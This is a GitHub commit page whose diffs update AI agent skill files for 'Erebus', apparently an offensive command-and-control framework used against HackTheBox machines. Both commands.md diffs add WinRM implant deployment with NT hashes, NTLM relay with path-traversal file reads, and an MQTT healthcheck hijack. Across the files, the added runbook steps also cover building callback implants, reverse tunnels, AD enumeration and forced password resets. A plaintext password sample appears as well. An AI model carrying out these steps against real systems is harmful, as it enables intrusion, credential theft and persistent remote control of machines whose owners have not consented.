Skip to content

Commit 4c64b6a

Browse files
KKingZeroKKingZero
committed
feat(ad): host-side LDAP/SMB/password and DanglingTree notes
Add operator-host ldap/smb/ad/kerberos so AD work can run without an implant (LDAPS-first bind, dangling CA templates, ForceChangePassword with SAMR fallback). Implant ldap-enum/smb now share those clients. Document DanglingTree and the teamserver vs serve footgun.
1 parent 7d54bae commit 4c64b6a

58 files changed

Lines changed: 4701 additions & 432 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎.claude/skills/erebus-htb/SKILL.md‎

Lines changed: 24 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -57,17 +57,34 @@ Workdir: `~/htb-<machine>/` with mode `600` secret files.
5757
```bash
5858
cd "/home/zero/Downloads/Zypheron project/Erebus"
5959
make erebus
60-
# terminal A:
61-
./build/erebus serve # or: erebus serve
62-
# build implant for target OS; callback must reach teamserver from target
63-
make implant-win CALLBACK_URL=https://<C2_REACHABLE>:443 SLEEP_MS=500 JITTER_PCT=10
64-
# optional C PE: make implant-c / generate --language c
60+
# terminal A — keep C2 up (do NOT use `erebus serve` in a pipe; stdin close kills teamserver):
61+
./build/erebus teamserver
62+
63+
# Windows primary (C PE):
64+
make implant-c CALLBACK_URL=https://<C2_REACHABLE>:8443 \
65+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
66+
67+
# Linux primary (C) — default after Linux foothold:
68+
make implant-c-linux CALLBACK_URL=https://<C2_REACHABLE>:8443 \
69+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
70+
# If host blocks tun0: CALLBACK_URL=https://127.0.0.1:8443 + scripts/htb_reverse_tunnel.sh user@TARGET
6571
```
6672

67-
Drop implant after initial shell (WinRM/SSH/etc.) when testing C2. Interactive lab: low sleep OK; kill implant and stop listeners when done.
73+
Drop implant after initial shell (WinRM/SSH/etc.) when testing C2. **Prefer C** on both OS; Go only with a one-line justification (e.g. reverse SOCKS until C M4c). Interactive lab: low sleep OK; kill implant and stop listeners when done.
74+
Linux plan: `docs/plans/SPRINT_L_C_LINUX.md`.
6875

6976
### 3. Soft-compromise path (preferred AD QA)
7077

78+
Host-side first when there is no implant / WinRM is filtered:
79+
80+
```bash
81+
./build/erebus smb shares --host <IP> --anon
82+
./build/erebus ldap enum --dc <IP> --domain DOM --user u --pass-file ./p --type interesting
83+
./build/erebus ldap dangling --dc <IP> --domain DOM --user u --pass-file ./p
84+
./build/erebus ad password --dc <IP> --domain DOM --user u --pass-file ./p --target t --new-pass-file ./n
85+
kerberos skew --dc <IP> # operator REPL; fail loud before TGT/PKINIT
86+
```
87+
7188
After session is alive:
7289

7390
```text
@@ -98,7 +115,7 @@ Use external tools, document:
98115
| --- | --- | --- |
99116
```
100117

101-
Known gaps (P1+): ACL enum, RBCD helpers, shadow creds, AES TGT/tickets, DNS write, WSUS MITM (operator infra).
118+
Known gaps (P1+): ACL enum, RBCD helpers, shadow creds, AES TGT/tickets, ADCS template create/req, PKINIT UnPAC, SMB/ATSVC deploy, DNS write, WSUS MITM (operator infra).
102119

103120
### 5. Report & cleanup
104121

‎.claude/skills/erebus-htb/references/commands.md‎

Lines changed: 74 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,17 +5,59 @@
55
```bash
66
cd "/home/zero/Downloads/Zypheron project/Erebus"
77
make proto erebus
8-
make implant-win CALLBACK_URL=https://<C2>:443 SLEEP_MS=500 JITTER_PCT=10
9-
make implant-c # Windows C PE when mingw available
8+
# Windows primary (C)
9+
make implant-c CALLBACK_URL=https://<C2>:8443 \
10+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
11+
# Linux primary (C) — prefer over Go
12+
make implant-c-linux CALLBACK_URL=https://<C2>:8443 \
13+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
14+
# Firewalled Linux HTB:
15+
# ./scripts/htb_reverse_tunnel.sh user@TARGET
16+
# CALLBACK_URL=https://127.0.0.1:8443 make implant-c-linux ...
17+
./scripts/c_linux_e2e_smoke.sh # host unit tests + Linux C build
1018
bash scripts/smoke_test.sh
1119
```
1220

1321
## Serve / operator
1422

23+
**Inbound preflight** (firewall, reverse tunnel, auth drop reasons): `docs/OPERATOR_INBOUND.md`
24+
1525
```bash
16-
./build/erebus serve
26+
./build/erebus teamserver # keep C2 up; `serve` dies when stdin closes
1727
# other terminal
1828
./build/erebus operator # or unified CLI
29+
30+
# Dual-seat certs (operator + approver) for lab auto-approve
31+
./build/erebus certs seats
32+
33+
# One-shot operator (auto-approves with approver cert)
34+
./build/erebus op sessions
35+
./build/erebus op shell -- whoami
36+
./build/erebus op generate --os windows --language c --callback https://10.10.14.x:8443 --out implant.exe
37+
./build/erebus op lateral winrm 10.10.10.10 "whoami" --user u --domain DOM --hash <NT>
38+
./build/erebus op pending
39+
./build/erebus op approve-all
40+
41+
# Host-side (no implant)
42+
./build/erebus ldap enum --dc DC --domain DOM --user u --pass-file p --type interesting
43+
./build/erebus ldap dangling --dc DC --domain DOM --user u --pass-file p
44+
./build/erebus smb shares --host DC --anon
45+
./build/erebus ad password --dc DC --domain DOM --user u --pass-file p --target t --new-pass-file n
46+
```
47+
48+
If implant gets HTTP 404 on register/beacon: check teamserver log for
49+
`reason=unknown_implant|hmac|skew|replay|parse|io|internal` (wire stays 404 on purpose).
50+
51+
## Deploy Windows implant via WinRM
52+
53+
```bash
54+
# password in file (never bash $$ secrets)
55+
python3 scripts/deploy_winrm.py --host <IP> --user Administrator \
56+
--pass-file /path/pass.txt --implant build/implant.exe
57+
58+
# NT hash (32 hex or LM:NT)
59+
python3 scripts/deploy_winrm.py --host <IP> --user 'msa_health$' --domain LOGGING \
60+
--hash-file /path/nt.txt --implant build/implant.exe
1961
```
2062

2163
## Soft path (post-session)
@@ -37,6 +79,30 @@ approve <id>
3779
loot
3880
```
3981

82+
## Pre-implant (no teamserver) — Ghostlink-class
83+
84+
Full notes: `docs/OPERATOR_PRE_IMPLANT.md`
85+
86+
```bash
87+
# MQTT
88+
./build/erebus mqtt sub --host <IP> --topic '#' --seconds 20
89+
./build/erebus mqtt healthcheck-hijack --host <IP> \
90+
--topic GhostProtocolZero/systems/node/secureshare/healthcheck \
91+
--url http://10.10.14.x:8888
92+
93+
# HTTP NTLM relay (port >= 1024; open firewalld if needed)
94+
./build/erebus relay http start \
95+
--listen 10.10.14.x:8888 \
96+
--target http://app.lab.htb/ \
97+
--kernel-auth
98+
# other terminal after coerce SUCCEED:
99+
./build/erebus relay http sessions
100+
./build/erebus relay http get --session 1 --double-encode \
101+
--path '..\..\..\windows\win.ini' --out loot/win.ini
102+
```
103+
104+
Also: operator REPL `mqtt` / `relay` (same helpers).
105+
40106
## Secrets without bash $$ expansion
41107

42108
```bash
@@ -53,4 +119,9 @@ python3 -c 'open("svc_pass.txt","w").write(r"Em3rg3ncyPa$$2026")'
53119
| Eng workdir | `~/htb-<machine>/` |
54120
| Reports | `reports/htb-<machine>/` |
55121
| Runbook | `docs/HTB_NEXT_RUNBOOK.md` |
122+
| Inbound / auth logs | `docs/OPERATOR_INBOUND.md` |
56123
| AD cookbook | `docs/AD_ENGAGEMENT.md` |
124+
| Sprint B plan | `docs/plans/SPRINT_B_AD.md` |
125+
| Sprint 1 C lateral | `docs/plans/SPRINT_1_C_LATERAL.md` |
126+
| Sprint L C Linux | `docs/plans/SPRINT_L_C_LINUX.md` |
127+
| C Linux sign-off | `reports/htb-c-linux-peer/SIGN_OFF.md` |

‎.grok/skills/erebus-htb/SKILL.md‎

Lines changed: 24 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -57,17 +57,34 @@ Workdir: `~/htb-<machine>/` with mode `600` secret files.
5757
```bash
5858
cd "/home/zero/Downloads/Zypheron project/Erebus"
5959
make erebus
60-
# terminal A:
61-
./build/erebus serve # or: erebus serve
62-
# build implant for target OS; callback must reach teamserver from target
63-
make implant-win CALLBACK_URL=https://<C2_REACHABLE>:443 SLEEP_MS=500 JITTER_PCT=10
64-
# optional C PE: make implant-c / generate --language c
60+
# terminal A — keep C2 up (do NOT use `erebus serve` in a pipe; stdin close kills teamserver):
61+
./build/erebus teamserver
62+
63+
# Windows primary (C PE):
64+
make implant-c CALLBACK_URL=https://<C2_REACHABLE>:8443 \
65+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
66+
67+
# Linux primary (C) — default after Linux foothold:
68+
make implant-c-linux CALLBACK_URL=https://<C2_REACHABLE>:8443 \
69+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
70+
# If host blocks tun0: CALLBACK_URL=https://127.0.0.1:8443 + scripts/htb_reverse_tunnel.sh user@TARGET
6571
```
6672

67-
Drop implant after initial shell (WinRM/SSH/etc.) when testing C2. Interactive lab: low sleep OK; kill implant and stop listeners when done.
73+
Drop implant after initial shell (WinRM/SSH/etc.) when testing C2. **Prefer C** on both OS; Go only with a one-line justification (e.g. reverse SOCKS until C M4c). Interactive lab: low sleep OK; kill implant and stop listeners when done.
74+
Linux plan: `docs/plans/SPRINT_L_C_LINUX.md`.
6875

6976
### 3. Soft-compromise path (preferred AD QA)
7077

78+
Host-side first when there is no implant / WinRM is filtered:
79+
80+
```bash
81+
./build/erebus smb shares --host <IP> --anon
82+
./build/erebus ldap enum --dc <IP> --domain DOM --user u --pass-file ./p --type interesting
83+
./build/erebus ldap dangling --dc <IP> --domain DOM --user u --pass-file ./p
84+
./build/erebus ad password --dc <IP> --domain DOM --user u --pass-file ./p --target t --new-pass-file ./n
85+
kerberos skew --dc <IP> # operator REPL; fail loud before TGT/PKINIT
86+
```
87+
7188
After session is alive:
7289

7390
```text
@@ -98,7 +115,7 @@ Use external tools, document:
98115
| --- | --- | --- |
99116
```
100117

101-
Known gaps (P1+): ACL enum, RBCD helpers, shadow creds, AES TGT/tickets, DNS write, WSUS MITM (operator infra).
118+
Known gaps (P1+): ACL enum, RBCD helpers, shadow creds, AES TGT/tickets, ADCS template create/req, PKINIT UnPAC, SMB/ATSVC deploy, DNS write, WSUS MITM (operator infra).
102119

103120
### 5. Report & cleanup
104121

‎.grok/skills/erebus-htb/references/commands.md‎

Lines changed: 52 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,25 @@
55
```bash
66
cd "/home/zero/Downloads/Zypheron project/Erebus"
77
make proto erebus
8-
make implant-win CALLBACK_URL=https://<C2>:443 SLEEP_MS=500 JITTER_PCT=10
9-
make implant-c # Windows C PE when mingw available
8+
# Windows primary (C)
9+
make implant-c CALLBACK_URL=https://<C2>:8443 \
10+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
11+
# Linux primary (C) — prefer over Go
12+
make implant-c-linux CALLBACK_URL=https://<C2>:8443 \
13+
CA_CERT_PATH=$HOME/.erebus/ca-cert.pem SLEEP_MS=500 JITTER_PCT=10
14+
# Firewalled Linux HTB:
15+
# ./scripts/htb_reverse_tunnel.sh user@TARGET
16+
# CALLBACK_URL=https://127.0.0.1:8443 make implant-c-linux ...
17+
./scripts/c_linux_e2e_smoke.sh # host unit tests + Linux C build
1018
bash scripts/smoke_test.sh
1119
```
1220

1321
## Serve / operator
1422

23+
**Inbound preflight** (firewall, reverse tunnel, auth drop reasons): `docs/OPERATOR_INBOUND.md`
24+
1525
```bash
16-
./build/erebus serve
26+
./build/erebus teamserver # keep C2 up; `serve` dies when stdin closes
1727
# other terminal
1828
./build/erebus operator # or unified CLI
1929

@@ -23,11 +33,21 @@ bash scripts/smoke_test.sh
2333
# One-shot operator (auto-approves with approver cert)
2434
./build/erebus op sessions
2535
./build/erebus op shell -- whoami
36+
./build/erebus op generate --os windows --language c --callback https://10.10.14.x:8443 --out implant.exe
2637
./build/erebus op lateral winrm 10.10.10.10 "whoami" --user u --domain DOM --hash <NT>
2738
./build/erebus op pending
2839
./build/erebus op approve-all
40+
41+
# Host-side (no implant)
42+
./build/erebus ldap enum --dc DC --domain DOM --user u --pass-file p --type interesting
43+
./build/erebus ldap dangling --dc DC --domain DOM --user u --pass-file p
44+
./build/erebus smb shares --host DC --anon
45+
./build/erebus ad password --dc DC --domain DOM --user u --pass-file p --target t --new-pass-file n
2946
```
3047

48+
If implant gets HTTP 404 on register/beacon: check teamserver log for
49+
`reason=unknown_implant|hmac|skew|replay|parse|io|internal` (wire stays 404 on purpose).
50+
3151
## Deploy Windows implant via WinRM
3252

3353
```bash
@@ -59,6 +79,30 @@ approve <id>
5979
loot
6080
```
6181

82+
## Pre-implant (no teamserver) — Ghostlink-class
83+
84+
Full notes: `docs/OPERATOR_PRE_IMPLANT.md`
85+
86+
```bash
87+
# MQTT
88+
./build/erebus mqtt sub --host <IP> --topic '#' --seconds 20
89+
./build/erebus mqtt healthcheck-hijack --host <IP> \
90+
--topic GhostProtocolZero/systems/node/secureshare/healthcheck \
91+
--url http://10.10.14.x:8888
92+
93+
# HTTP NTLM relay (port >= 1024; open firewalld if needed)
94+
./build/erebus relay http start \
95+
--listen 10.10.14.x:8888 \
96+
--target http://app.lab.htb/ \
97+
--kernel-auth
98+
# other terminal after coerce SUCCEED:
99+
./build/erebus relay http sessions
100+
./build/erebus relay http get --session 1 --double-encode \
101+
--path '..\..\..\windows\win.ini' --out loot/win.ini
102+
```
103+
104+
Also: operator REPL `mqtt` / `relay` (same helpers).
105+
62106
## Secrets without bash $$ expansion
63107

64108
```bash
@@ -75,4 +119,9 @@ python3 -c 'open("svc_pass.txt","w").write(r"Em3rg3ncyPa$$2026")'
75119
| Eng workdir | `~/htb-<machine>/` |
76120
| Reports | `reports/htb-<machine>/` |
77121
| Runbook | `docs/HTB_NEXT_RUNBOOK.md` |
122+
| Inbound / auth logs | `docs/OPERATOR_INBOUND.md` |
78123
| AD cookbook | `docs/AD_ENGAGEMENT.md` |
124+
| Sprint B plan | `docs/plans/SPRINT_B_AD.md` |
125+
| Sprint 1 C lateral | `docs/plans/SPRINT_1_C_LATERAL.md` |
126+
| Sprint L C Linux | `docs/plans/SPRINT_L_C_LINUX.md` |
127+
| C Linux sign-off | `reports/htb-c-linux-peer/SIGN_OFF.md` |

0 commit comments

Comments
 (0)